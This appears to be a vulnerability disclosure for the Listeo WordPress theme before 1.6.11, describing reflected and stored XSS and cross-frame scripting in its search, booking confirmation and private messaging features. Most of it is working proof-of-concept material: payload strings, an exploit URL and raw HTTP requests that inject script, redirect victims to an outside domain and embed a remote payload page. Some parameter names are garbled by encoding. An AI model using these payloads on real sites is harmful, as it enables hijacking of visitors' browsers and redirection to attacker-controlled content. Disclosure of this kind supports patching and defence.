Listeo < 1.6.11 - Multiple XSS & XFS vulnerabilities

The theme did not properly sanitise some parameters in its Search, Booking Confirmation and Personal Message pages, leading to Cross-Site Scripting issues - Unauthenticated Reflected XSS | Search query, vulnerable parameter(s): keyword_search and location_search - Authenticated Persistent XSS & XFS | Booking confirmation, vulnerable parameter(s): firstname, lastname, email, phone and message - Authenticated Persistent XSS & XFS | Personal messages: action=listeo_send_message&recipient;=&referral;=author_archive&message;=

PoC

– [ Payloads: ] [$] --!>" autofocus onfocus=alert(m0ze);location=https://m0ze.ru;//" [$] ### – [ PoC #1 | Unauthenticated Reflected XSS | Search query: ] [!] https://listeo.pro/listings/?keyword_search=--!>" autofocus onfocus=alert(`m0ze`);location=`https://m0ze.ru`;//“&amp;location;_search=--!>” autofocus onfocus=alert(`m0ze`);location=`https://m0ze.ru`;//"&amp;tax-listing;_category=&amp;action;=listeo_get_listings [!] GET /listings/?keyword_search=–!%3E%22%20autofocus%20onfocus=alert(m0ze);location=https://m0ze.ru;//%22&location;_search=–!%3E%22%20autofocus%20onfocus=alert(m0ze);location=https://m0ze.ru;//%22&tax-listing;_category=&action;=listeo_get_listings HTTP/1.1 Host: listeo.pro ### – [ PoC #2 | Authenticated Persistent XSS & XFS | Booking confirmation: ] [!] POST /booking-confirmation/ HTTP/1.1 Host: listeo.pro Content-Type: application/x-www-form-urlencoded Referer: https://listeo.pro/booking-confirmation/ Cookie: [user cookies] confirmed=yessir&value;=%7B%5C%22listing_type%5C%22%3A%5C%22rental%5C%22%2C%5C%22listing_id%5C%22%3A%5C%22578%5C%22%2C%5C%22date_start%5C%22%3A%5C%222021-09-07%5C%22%2C%5C%22date_end%5C%22%3A%5C%222021-09-10%5C%22%2C%5C%22adults%5C%22%3A%5C%221%5C%22%2C%5C%22services%5C%22%3A%5B%5D%7D&listing;_id=578&coupon;_code=&firstname;=Ex%3C%21–%3E%22%3E%3C%21–%3E%3Cembed+src%3Dhttps%3A%2F%2Fm0ze.ru%2Fpayload%2Fxfsii.html%3E&lastname;=Mi%3C%21–%3E%22%3E%3C%21–%3E%3Cembed+src%3Dhttps%3A%2F%2Fm0ze.ru%2Fpayload%2Fxfsii.html%3E&email;=hatosoh945%40hrandod.com&phone;=%3C%21–%3E%22%3E%3C%21–%3E%3Cembed+src%3Dhttps%3A%2F%2Fm0ze.ru%2Fpayload%2Fxfsii.html%3E&message;=%3C%2Ftextarea%3E%3C%21–%3E%22%3E%3C%21–%3E%3Cembed+src%3Dhttps%3A%2F%2Fm0ze.ru%2Fpayload%2Fxfsii.html%3E ### – [ PoC #3 | Authenticated Persistent XSS & XFS | Personal messages: ] [!] POST /wp-admin/admin-ajax.php HTTP/1.1 Host: listeo.pro Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Referer: https://listeo.pro/author/m0ze/ Cookie: [user cookies] action=listeo_send_message&recipient;=1506&referral;=author_archive&message;=%3C!–%3E%3Cembed+src%3Dhttps%3A%2F%2Fm0ze.ru%2Fpayload%2Fxfsii.html%3E